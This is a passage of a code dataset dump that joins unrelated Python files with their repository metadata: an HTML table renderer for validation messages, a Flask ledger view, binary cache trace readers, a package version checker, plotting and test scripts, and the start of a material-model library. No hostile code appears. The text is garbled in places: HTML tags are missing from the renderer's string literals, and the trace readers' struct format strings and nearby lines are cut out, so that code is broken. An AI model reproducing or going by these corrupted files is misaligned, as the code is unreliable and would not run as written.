'\n for h in headers:\n html += f\"\\n\"\n html += \"\\n\"\n row_idx = 1\n for row in rows:\n html += \"\"\n row_idx += 1\n col_idx = 0\n for h in headers:\n col_idx += 1\n itm = row[h]\n msg = messages.get(col_idx, {}).get(row_idx, None)\n if not msg:\n html += f\"\\n\"\n continue\n\n rule_id = msg.get(\"rule ID\", \"\")\n rule_text = msg.get(\"rule\", \"\")\n rule_message = msg.get(\"message\", \"\")\n suggest = msg.get(\"suggestion\", \"\")\n level = msg.get(\"level\", \"error\").lower()\n\n if level == \"error\":\n td_class = \"table-danger\"\n elif level == \"warn\":\n td_class = \"table-warning\"\n else:\n td_class = \"table-info\"\n\n full_msg = \"\"\n if rule_id and rule_text:\n full_msg += f\"{rule_id}: {rule_text}\"\n elif rule_id:\n full_msg += rule_id\n elif rule_text:\n full_msg += rule_text\n\n if rule_message and full_msg != \"\":\n full_msg += f\"
{rule_message}\"\n elif rule_message:\n full_msg += rule_message\n\n if suggest and full_msg != \"\":\n full_msg += f\"
Suggestion: '{suggest}'\"\n elif suggest:\n full_msg += f\"Suggestion: '{suggest}'\"\n\n if full_msg:\n html += f'\\n'\n else:\n html += f'\\n'\n html += \"\\n\"\n html += \"\\n
{h}
{itm}{itm}{itm}
\"\n return html\n\n\ndef tsv2html(path, messages):\n table_name = os.path.splitext(path)[0]\n table_messages = defaultdict(dict)\n for row in messages:\n table = row[\"table\"]\n loc = row[\"cell\"]\n row_idx, col_idx = a1_to_rowcol(loc)\n if col_idx not in table_messages:\n table_messages[col_idx] = dict()\n table_messages[col_idx].update(\n {\n row_idx: {\n \"level\": row.get(\"level\", \"error\"),\n \"rule ID\": row.get(\"rule ID\"),\n \"rule\": row.get(\"rule\"),\n \"message\": row.get(\"message\"),\n \"suggestion\": row.get(\"suggestion\"),\n }\n }\n )\n rows = []\n with open(path, \"r\") as f:\n reader = csv.DictReader(f, delimiter=\"\\t\")\n headers = reader.fieldnames\n for row in reader:\n rows.append(row)\n return render_html(headers, rows, table_messages)\n", "repo_name": "jamesaoverton/cell-name-and-marker-validator", "sub_path": "src/tsv2html.py", "file_name": "tsv2html.py", "file_ext": "py", "file_size_in_byte": 3285, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.compile", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 80, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 100, "usage_type": "call"}]} {"seq_id": "15033249971", "text": "# project/server/user/views.py\n\nfrom flask import Blueprint, abort, render_template\n\nfrom project.server.models import Person\n\nuser_blueprint = Blueprint(\"user\", __name__)\n\n\n@user_blueprint.route(\"/rec\", methods=[\"GET\"])\ndef ledger(rec_id=None):\n # Home page is a 404\n if rec_id is None:\n abort(404)\n\n rec_id = \"rec\" + rec_id\n player = Person.query.filter_by(at_id=rec_id).first()\n\n # No matching player is a 404\n if not player:\n abort(404)\n\n ledger = player.ledger()\n ledger.reverse()\n balance = player.balance()\n\n return render_template(\n \"user/ledger.html\",\n player=player.name,\n balance=balance,\n ledger=ledger,\n )\n", "repo_name": "rbriski/force", "sub_path": "project/server/user/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 702, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 14, "usage_type": "call"}, {"api_name": "project.server.models.Person.query.filter_by", "line_number": 17, "usage_type": "call"}, {"api_name": "project.server.models.Person.query", "line_number": 17, "usage_type": "attribute"}, {"api_name": "project.server.models.Person", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}]} {"seq_id": "28571670137", "text": "\"\"\" \n TwrBinTraceReader format: unix_ts(uint32), obj_id(uint64), key-size(uint16), value-size(uint32), client(uint16), \n op(uint16 1:get, 2:gets, 3:set, 5:add, 6: replace, 7: append, 8: prepend, 9: cas, 10: delete, 11:incr, 12:decr), \n namespace(uint64), ttl(uint32)\n trace_long_format_struct_str = \" \n\"\"\"\n\nimport os, sys\nsys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), \"../\"))\nimport struct\nimport collections\nfrom core.req import Req\nfrom core.traceReader import TraceReader\n\n\nclass TwrBinTraceReader(TraceReader):\n def __init__(self, trace_path, *args, **kwargs):\n TraceReader.__init__(self, trace_path, \"binary\", real_time_field=1, obj_id_field=2, key_size_field=3, value_size_field=4, \n op_field=6, ttl_field=8, **kwargs)\n self.struct = struct.Struct(\"> 8\n if op -1 > 10:\n print(\"op {}\".format(op-1))\n op = self.op_mapping[op-1]\n\n req = Req(logical_time=self.n_read_req, real_time=real_time, \n obj_id=obj_id, op = op, ttl=ttl, \n obj_size=obj_size, req_size=obj_size)\n except Exception as e:\n print(\"TwrShortBinTraceReader err: {}\".format(e))\n self.n_read_req -= 1\n return self.read_one_req()\n return req\n\n\nclass TwrShortBinTraceReader(TraceReader):\n def __init__(self, trace_path, *args, **kwargs):\n TraceReader.__init__(self, trace_path, \"binary\", real_time_field=1, obj_id_field=2, **kwargs)\n self.struct = struct.Struct(\"> 22) & (0x00000400-1), kv_size & (0x00400000 - 1) \n obj_size = key_size + value_size\n if value_size == 0:\n obj_size = 0\n\n # op and ttl (first 8 bit op, last 24 bit ttl, ttl_max=8000000)\n op_ttl = int(item[self.op_ttl_field-1])\n op = (op_ttl >> 24) & (0x00000100-1)\n ttl = op_ttl & (0x01000000-1)\n op = self.op_mapping[op-1]\n\n if isinstance(self.req, tuple):\n req = Req(logical_time=self.n_read_req, real_time=real_time, \n obj_id=obj_id, op = op, ttl=ttl, key_size=key_size, value_size=value_size,\n obj_size=obj_size, req_size=obj_size, cnt=1) \n self.req = req\n else: \n self.req.logical_time, self.req.real_time = self.n_read_req, real_time \n self.req.obj_id, self.req.op, self.req.ttl, self.req.cnt = obj_id, op, ttl, 1\n self.req.key_size, self.req.value_size, self.req.obj_size, self.req.req_size = key_size, value_size, obj_size, obj_size \n return self.req\n\nif __name__ == \"__main__\":\n from collections import defaultdict\n reader = TwrShortBinTraceReader(\"/Users/junchengy/Downloads/log-twemcache.cmd.bin\")\n obj_cnt_dict = defaultdict(int)\n ttl_cnt_dict = defaultdict(int)\n for n, req in enumerate(reader):\n if n < 8:\n print(req)\n obj_cnt_dict[req.obj_id] += req.cnt\n ttl_cnt_dict[req.ttl] += 1\n print(sorted(obj_cnt_dict.items(), key=lambda x:-x[1])[:20])\n print(ttl_cnt_dict)\n\n\n\n", "repo_name": "Thesys-lab/cacheWorkloadAnalysisOSDI20", "sub_path": "cacheTraceAnalysis/traceReader/twrBinTraceReader.py", "file_name": "twrBinTraceReader.py", "file_ext": "py", "file_size_in_byte": 6684, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path.append", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 16, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 23, "usage_type": "name"}, {"api_name": "core.traceReader.TraceReader.__init__", "line_number": 25, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 25, "usage_type": "name"}, {"api_name": "struct.Struct", "line_number": 27, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader.read_one_req", "line_number": 37, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 37, "usage_type": "name"}, {"api_name": "core.req.Req", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "core.traceReader.TraceReader", "line_number": 67, "usage_type": "name"}, {"api_name": "core.traceReader.TraceReader.__init__", "line_number": 69, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 69, "usage_type": "name"}, {"api_name": "struct.Struct", "line_number": 70, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader.read_one_req", "line_number": 77, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 77, "usage_type": "name"}, {"api_name": "core.req.Req", "line_number": 94, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 104, "usage_type": "name"}, {"api_name": "core.traceReader.TraceReader.__init__", "line_number": 106, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 106, "usage_type": "name"}, {"api_name": "struct.Struct", "line_number": 107, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader.read_one_req", "line_number": 116, "usage_type": "call"}, {"api_name": "core.traceReader.TraceReader", "line_number": 116, "usage_type": "name"}, {"api_name": "core.req.Req", "line_number": 137, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 150, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 151, "usage_type": "call"}]} {"seq_id": "71638686625", "text": "#!/usr/bin/env python\n\nimport json\nimport urllib.request\nimport re\nfrom pyalpm import vercmp\nfrom functools import cmp_to_key\n\ngithub_repo = \"yairm210/Unciv\"\nfrom_pattern = r'(.*)-patch(\\d+)'\nto_pattern = r'\\1.\\2'\nprefix = ''\n\ndef custom_preproc(vers):\n # Sometimes, vers contains a `-XXX` suffix\n # that is not covered by `from_pattern`.\n if \"-\" in vers:\n vers = vers.replace('-', '.')\n if len(vers.split('.')) == 3:\n return vers + '.REL'\n else:\n return vers\n\ndef remove_prefix(s, prefix):\n if s.startswith(prefix):\n return s[len(prefix):]\n else:\n return s\n\n# Check github tags\n# Replace by regex before sorting. This is not currently supported by nvchecker\nreq = urllib.request.Request('https://api.github.com/repos/{}/tags'.format(github_repo))\nbody = None\nwith urllib.request.urlopen(req) as res:\n body = json.load(res)\n\nversions = [ custom_preproc(remove_prefix(re.sub(from_pattern, to_pattern, it['name']), prefix)) for it in body ]\nversions.sort(key=cmp_to_key(vercmp))\n\nprint(versions[-1])\n", "repo_name": "archlinuxcn/repo", "sub_path": "archlinuxcn/unciv/nvcheck.py", "file_name": "nvcheck.py", "file_ext": "py", "file_size_in_byte": 1021, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1384, "dataset": "github-code", "pt": "7", "api": [{"api_name": "urllib.request.request.Request", "line_number": 32, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 32, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 32, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 34, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 34, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 34, "usage_type": "name"}, {"api_name": "json.load", "line_number": 35, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 37, "usage_type": "call"}, {"api_name": "functools.cmp_to_key", "line_number": 38, "usage_type": "call"}, {"api_name": "pyalpm.vercmp", "line_number": 38, "usage_type": "argument"}]} {"seq_id": "11058016392", "text": "#!/usr/bin/env python\n'''\nShows the full image in which the pedestrian with pedestrianID\nis contained.\nThis is mainly just to get a quick feel for how to use the annotations.\n'''\n\nfrom __future__ import print_function\n\nimport os\nimport sqlite3\nfrom PIL import Image\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom argparse import ArgumentParser\n\ndef main(args):\n try:\n dbFile = os.path.join(args.parse_path, 'annotations.sqlite3')\n db = sqlite3.connect(dbFile)\n dbc = db.cursor()\n except sqlite3.Error as e:\n raise Exception(e)\n\n query = '''SELECT directory, filename\n FROM Pedestrian p\n JOIN Image i ON i.imageID = p.imageID\n JOIN Sequence s ON s.sequenceID = i.sequenceID\n WHERE p.pedestrianID = {}\n '''\n result = dbc.execute(query.format(args.pid)).fetchone()\n\n imgfn = os.path.join(args.parse_path, 'sequences', result[0], result[1])\n print('image file: ', imgfn)\n try:\n img = np.array(Image.open(imgfn).convert('RGB'))\n except IOError as e:\n print('could not load image file')\n sys.exit(1)\n plt.imshow(img)\n plt.show()\n\nif __name__ == '__main__':\n parser = ArgumentParser(description=__doc__)\n parser.add_argument('--verbose', '-v', action='store_true')\n parser.add_argument('--parse_path',\n default=os.getenv('PARSE_PATH',\n '/work/sudowe/datasets/parse/'))\n parser.add_argument('pid', type=int,\n help='show image containing the pedestrian with PID')\n args = parser.parse_args()\n main(args)\n", "repo_name": "psudowe/parse27k_tools", "sub_path": "visualize_pid.py", "file_name": "visualize_pid.py", "file_ext": "py", "file_size_in_byte": 1676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlite3.Error", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 44, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 47, "usage_type": "call"}]} {"seq_id": "40741510093", "text": "import psutil\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nimport time\n\nif __name__ == \"__main__\":\n arr = []\n times = [0]\n t = 0\n while t < 15:\n t += 1\n x = psutil.cpu_percent(interval=1, percpu=True)\n arr.append(x)\n print(x)\n times.append(t)\n time.sleep(1)\n\n\n data = []\n\n for i in range(len(arr[0])):\n t = go.Scatter(\n x=times,\n y=[z[i] for z in arr],\n mode='lines',\n name='Core ' + str(i + 1),\n connectgaps=True\n )\n data.append(t)\n\n\n layout = dict(title=\"CPU Usage Per Core\",\n xaxis=dict(title=\"Elapsed Time (seconds)\"),\n yaxis=dict(title=\"CPU Usage\")\n )\n\n fig = go.Layout(\n )\n\n fig = go.Figure(data=data, layout=layout)\n py.iplot(fig, filename='cpu_usage')", "repo_name": "jvd33/SPE", "sub_path": "Lab5/measure_cpu.py", "file_name": "measure_cpu.py", "file_ext": "py", "file_size_in_byte": 874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "psutil.cpu_percent", "line_number": 12, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "plotly.graph_objs.Scatter", "line_number": 22, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 22, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Layout", "line_number": 37, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 37, "usage_type": "name"}, {"api_name": "plotly.graph_objs.Figure", "line_number": 40, "usage_type": "call"}, {"api_name": "plotly.graph_objs", "line_number": 40, "usage_type": "name"}, {"api_name": "plotly.plotly.iplot", "line_number": 41, "usage_type": "call"}, {"api_name": "plotly.plotly", "line_number": 41, "usage_type": "name"}]} {"seq_id": "699684496", "text": "import os\n\nimport pytest\n\nimport dask.array as da\nfrom dask.utils_test import inc\nfrom dask.highlevelgraph import HighLevelGraph\n\n\ndef test_visualize(tmpdir):\n pytest.importorskip('graphviz')\n fn = str(tmpdir)\n a = da.ones(10, chunks=(5,))\n b = a + 1\n c = a + 2\n d = b + c\n d.dask.visualize(fn)\n assert os.path.exists(fn)\n\n\ndef test_basic():\n a = {'x': 1}\n b = {'y': (inc, 'x')}\n layers = {'a': a, 'b': b}\n dependencies = {'a': set(), 'b': {'a'}}\n hg = HighLevelGraph(layers, dependencies)\n\n assert dict(hg) == {'x': 1, 'y': (inc, 'x')}\n", "repo_name": "chrimerss/CREST-iMAP", "sub_path": "python2/lib/python2.7/site-packages/dask/tests/test_highgraph.py", "file_name": "test_highgraph.py", "file_ext": "py", "file_size_in_byte": 579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pytest.importorskip", "line_number": 11, "usage_type": "call"}, {"api_name": "dask.array.ones", "line_number": 13, "usage_type": "call"}, {"api_name": "dask.array", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "dask.utils_test.inc", "line_number": 23, "usage_type": "name"}, {"api_name": "dask.highlevelgraph.HighLevelGraph", "line_number": 26, "usage_type": "call"}, {"api_name": "dask.utils_test.inc", "line_number": 28, "usage_type": "name"}]} {"seq_id": "19580786496", "text": "from django.http import JsonResponse\nfrom django.http.response import Http404\n\nfrom .decoder import Decoder\nfrom .encoder import Encoder\nfrom .utils import process_sentence_param\n\nencoder = Encoder()\ndecoder = Decoder()\n\n\ndef encode(request):\n \"\"\"WeirdText encoding method.\n Args:\n request: User request with sentence\n to encode.\n Returns:\n Json response with encoded text.\n \"\"\"\n if request.method == \"GET\":\n raw_sentence = request.GET.get(\"data\", \"\")\n sentence = process_sentence_param(raw_sentence)\n return JsonResponse({\"encoded\": encoder.encode(sentence)})\n return Http404\n\n\ndef decode(request):\n \"\"\"WeirdText decoding method.\n Args:\n request: User request with text\n to decode.\n Returns:\n Json response with decoded text.\n \"\"\"\n if request.method == \"GET\":\n raw_sentence = request.GET.get(\"data\", \"\")\n sentence = process_sentence_param(raw_sentence)\n return JsonResponse({\"decoded\": decoder.decode(sentence)})\n return Http404\n", "repo_name": "michalilski/weird-text-api", "sub_path": "weirdtextapi/textprocessing/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1050, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "encoder.Encoder", "line_number": 8, "usage_type": "call"}, {"api_name": "decoder.Decoder", "line_number": 9, "usage_type": "call"}, {"api_name": "utils.process_sentence_param", "line_number": 22, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 23, "usage_type": "call"}, {"api_name": "encoder.encode", "line_number": 23, "usage_type": "call"}, {"api_name": "django.http.response.Http404", "line_number": 24, "usage_type": "name"}, {"api_name": "utils.process_sentence_param", "line_number": 37, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 38, "usage_type": "call"}, {"api_name": "decoder.decode", "line_number": 38, "usage_type": "call"}, {"api_name": "django.http.response.Http404", "line_number": 39, "usage_type": "name"}]} {"seq_id": "71724894652", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import (roc_auc_score, precision_score, recall_score, accuracy_score, plot_confusion_matrix,\n roc_curve, f1_score, mean_absolute_error, mean_squared_error, r2_score, )\n\n# some mappings to clarify the dataset\nMAPPINGS = dict()\n\n\ndef create_attribute_mapping(attribute):\n attr_values = attribute.unique()\n mapping = dict(zip(attr_values, range(len(attr_values))))\n MAPPINGS[attribute.name] = mapping\n return mapping\n\n\nclass MetricLogger:\n\n def __init__(self):\n self.df = pd.DataFrame(\n {'metric': pd.Series([], dtype='str'),\n 'alg': pd.Series([], dtype='str'),\n 'value': pd.Series([], dtype='float')})\n\n def add(self, metric, alg, value):\n \"\"\"\n Добавление значения\n \"\"\"\n # Удаление значения если оно уже было ранее добавлено\n self.df.drop(self.df[(self.df['metric'] == metric) & (self.df['alg'] == alg)].index, inplace=True)\n # Добавление нового значения\n temp = [{'metric': metric, 'alg': alg, 'value': value}]\n self.df = self.df.append(temp, ignore_index=True)\n\n def get_data_for_metric(self, metric, ascending=True):\n \"\"\"\n Формирование данных с фильтром по метрике\n \"\"\"\n temp_data = self.df[self.df['metric'] == metric]\n temp_data_2 = temp_data.sort_values(by='value', ascending=ascending)\n return temp_data_2['alg'].values, temp_data_2['value'].values\n\n def plot(self, str_header, metric, ascending=True, figsize=(5, 5)):\n \"\"\"\n Вывод графика\n \"\"\"\n array_labels, array_metric = self.get_data_for_metric(metric, ascending)\n fig, ax1 = plt.subplots(figsize=figsize)\n pos = np.arange(len(array_metric))\n rects = ax1.barh(pos, array_metric,\n align='center',\n height=0.5,\n tick_label=array_labels)\n ax1.set_title(str_header)\n for a, b in zip(pos, array_metric):\n plt.text(0.5, a - 0.05, str(round(b, 3)), color='white')\n plt.show()\n\nMETRIC_LOGGER = MetricLogger()\n\n# Отрисовка ROC-кривой\n# def draw_roc_curve(y_true, y_score, pos_label=1, average='micro'):\n# fpr, tpr, thresholds = roc_curve(y_true, y_score,\n# pos_label=pos_label)\n# roc_auc_value = roc_auc_score(y_true, y_score, average=average)\n# plt.figure()\n# lw = 2\n# plt.plot(fpr, tpr, color='darkorange',\n# lw=lw, label='ROC curve (area = %0.2f)' % roc_auc_value)\n# plt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\n# plt.xlim([0.0, 1.0])\n# plt.ylim([0.0, 1.05])\n# plt.xlabel('False Positive Rate')\n# plt.ylabel('True Positive Rate')\n# plt.title('Receiver operating characteristic')\n# plt.legend(loc=\"lower right\")\n# plt.show()\n\n\n# def classification_train_model(x_train, y_train, x_test, y_test, model_name, model, clasMetricLogger):\n# model.fit(x_train, y_train)\n# Y_pred = model.predict(x_test)\n# precision = precision_score(y_test.values, Y_pred)\n# recall = recall_score(y_test.values, Y_pred)\n# f1 = f1_score(y_test.values, Y_pred)\n# roc_auc = roc_auc_score(y_test.values, Y_pred)\n#\n# clasMetricLogger.add('precision', model_name, precision)\n# clasMetricLogger.add('recall', model_name, recall)\n# clasMetricLogger.add('f1', model_name, f1)\n# clasMetricLogger.add('roc_auc', model_name, roc_auc)\n#\n# print('*****************************************************')\n# print(model)\n# print('*****************************************************')\n# draw_roc_curve(y_test.values, Y_pred)\n#\n# plot_confusion_matrix(model, x_test, y_test.values,\n# display_labels=['0', '1'],\n# cmap=plt.cm.Blues, normalize='true')\n# plt.show()\n\n\ndef regression_train_model(x_train, y_train, x_test, y_test, model_name, model, metric_logger):\n model.fit(x_train, y_train)\n Y_pred = model.predict(x_test)\n\n mae = mean_absolute_error(y_test, Y_pred)\n mse = mean_squared_error(y_test, Y_pred)\n r2 = r2_score(y_test, Y_pred)\n\n metric_logger.add('MAE', model_name, mae)\n metric_logger.add('MSE', model_name, mse)\n metric_logger.add('R2', model_name, r2)\n\n print('*****************************************************')\n print(model)\n print()\n print('MAE={}, MSE={}, R2={}'.format(\n round(mae, 3), round(mse, 3), round(r2, 3)))\n print('*****************************************************')\n", "repo_name": "DanikNik/tmo_course", "sub_path": "notebooks/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4781, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.DataFrame", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 110, "usage_type": "call"}, {"api_name": "sklearn.metrics.r2_score", "line_number": 111, "usage_type": "call"}]} {"seq_id": "71587279585", "text": "\"\"\"\n This module contains objects to define and integrate full material models.\n\n In our context a material model is a ODE that defines the stress rate and\n an associated set of internal variables. Mathematically, we can define\n this as two ODEs:\n\n .. math::\n\n \\\\dot{\\\\sigma} = f(\\\\sigma, h, T, \\\\dot{\\\\varepsilon}, t)\n\n \\\\dot{h} = g(\\\\sigma, h, T, \\\\dot{\\\\varepsilon}, t)\n\n where :math:`\\\\sigma` is the uniaxial stress, :math:`h` is some\n arbitrary set of internal variables, :math:`T` is the temperature,\n :math:`\\\\dot{\\\\varepsilon}` is the strain rate, and :math:`t` is the time.\n Note then that we mathematically define models as strain controlled: the input\n is the strain rate and the output is the stress rate. Currently there is\n only one implemented full material model: :py:class:`pyoptmat.models.InelasticModel`,\n which is a standard viscoplastic formulation. However other types of\n models, including rate-independent plasticity, could be defined with\n the same basic form.\n\n The model itself just defines a system of ODEs. To solve for stress or\n strain as a function of the experimental conditions we need to integrate\n this model using the methods in :py:mod:`pyoptmat.ode`. We could do this\n in two ways, in strain control where we provide the strains and temperatures\n as a function of time and integrate for the stress or provide the\n stresses and temperatures as a function of time and integrate for the\n strains. The :py:class:`pyoptmat.models.ModelIntegrator` provides both\n options, where each experiment can either be strain or stress controlled.\n\n The basic process of setting up a material model capable of simulating\n experimental tests is to define the model form mathematically, using a\n Model class and wrap that Model with an Integrator to provide actual\n time series of stress or strain. As the integrator class uses the\n methods in :py:mod:`pyoptmat.ode` to actually do the integration, the\n results (and subsequent mathematical operations on the results) can be\n differentiated using either PyTorch backpropogation AD or the adjoint\n method.\n\"\"\"\n\nimport torch\nfrom torch import nn\n\nfrom pyoptmat import utility, ode, damage, solvers\n\n\nclass InelasticModel(nn.Module):\n \"\"\"\n This object provides the standard strain-based rate form of a constitutive model\n\n .. math::\n\n \\\\dot{\\\\sigma} = E \\\\left(\\\\dot{\\\\varepsilon} - \\\\dot{\\\\varepsilon}_{in} \\\\right)\n\n Args:\n E: Material Young's modulus\n flowrule: :py:class:`pyoptmat.flowrules.FlowRule` defining the inelastic\n strain rate\n \"\"\"\n\n def __init__(self, E, flowrule, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.E = E\n self.flowrule = flowrule\n\n @property\n def nhist(self):\n \"\"\"\n Number of internal variables\n \"\"\"\n return 1 + self.flowrule.nhist\n\n def forward(self, t, y, erate, T):\n \"\"\"\n Return the rate equations for the strain-based version of the model\n\n Args:\n t: (nbatch,) times\n y: (nbatch,1+nhist) [stress, history]\n erate: (nbatch,) strain rates\n T: (nbatch,) temperatures\n\n Returns:\n y_dot: (nbatch,1+nhist) state rate\n d_y_dot_d_y: (nbatch,1+nhist,1+nhist) Jacobian wrt the state\n d_y_dot_d_erate:(nbatch,1+nhist) Jacobian wrt the strain rate\n d_y_dot_d_T: (nbatch,1+nhist) derivative wrt temperature (unused)\n \"\"\"\n stress = y[..., 0].clone()\n h = y[..., 1:].clone()\n\n frate, dfrate = self.flowrule.flow_rate(stress, h, t, T, erate)\n hrate, dhrate = self.flowrule.history_rate(stress, h, t, T, erate)\n\n # Stacked rate of evolution vector\n result = torch.cat(\n [(self.E(T) * (erate - frate)).unsqueeze(-1), hrate],\n dim=-1,\n )\n\n # Form the large blocked matrix of d(y_dot)/d(y)\n row1 = torch.cat(\n [\n (-self.E(T) * dfrate).unsqueeze(-1).unsqueeze(-1),\n (\n -self.E(T)[..., None, None]\n * self.flowrule.dflow_dhist(stress, h, t, T, erate)\n ),\n ],\n dim=-1,\n )\n\n row2 = torch.cat(\n [self.flowrule.dhist_dstress(stress, h, t, T, erate).unsqueeze(-1), dhrate],\n dim=-1,\n )\n dresult = torch.cat([row1, row2], dim=-2)\n\n # Form the stacked derivative of the state rate with respect to the strain rate\n drate = torch.cat(\n [\n (\n self.E(T)\n * (1.0 - self.flowrule.dflow_derate(stress, h, t, T, erate))\n ).unsqueeze(-1),\n self.flowrule.dhist_derate(stress, h, t, T, erate),\n ],\n dim=-1,\n )\n\n # Logically we should return the derivative wrt T, but right now\n # we're not going to use it\n Trate = torch.zeros_like(y)\n\n return result, dresult, drate, Trate\n\n\nclass DamagedInelasticModel(nn.Module):\n \"\"\"\n This object provides the standard strain-based rate form of a constitutive model\n\n .. math::\n\n \\\\dot{\\\\sigma} = E \\\\left(\\\\dot{\\\\varepsilon} - (1-d) \\\\dot{\\\\varepsilon}_{in} \\\\right)\n\n Args:\n E: Material Young's modulus\n flowrule: :py:class:`pyoptmat.flowrules.FlowRule` defining the inelastic\n strain rate\n dmodel (optional): :py:class:`pyoptmat.damage.DamageModel` defining the damage variable\n evolution rate, defaults to :py:class:`pyoptmat.damage.NoDamage`\n \"\"\"\n\n def __init__(self, E, flowrule, *args, dmodel=damage.NoDamage(), **kwargs):\n super().__init__(*args, **kwargs)\n self.E = E\n self.flowrule = flowrule\n self.dmodel = dmodel\n\n @property\n def nhist(self):\n \"\"\"\n Number of internal variables\n \"\"\"\n return 2 + self.flowrule.nhist\n\n def forward(self, t, 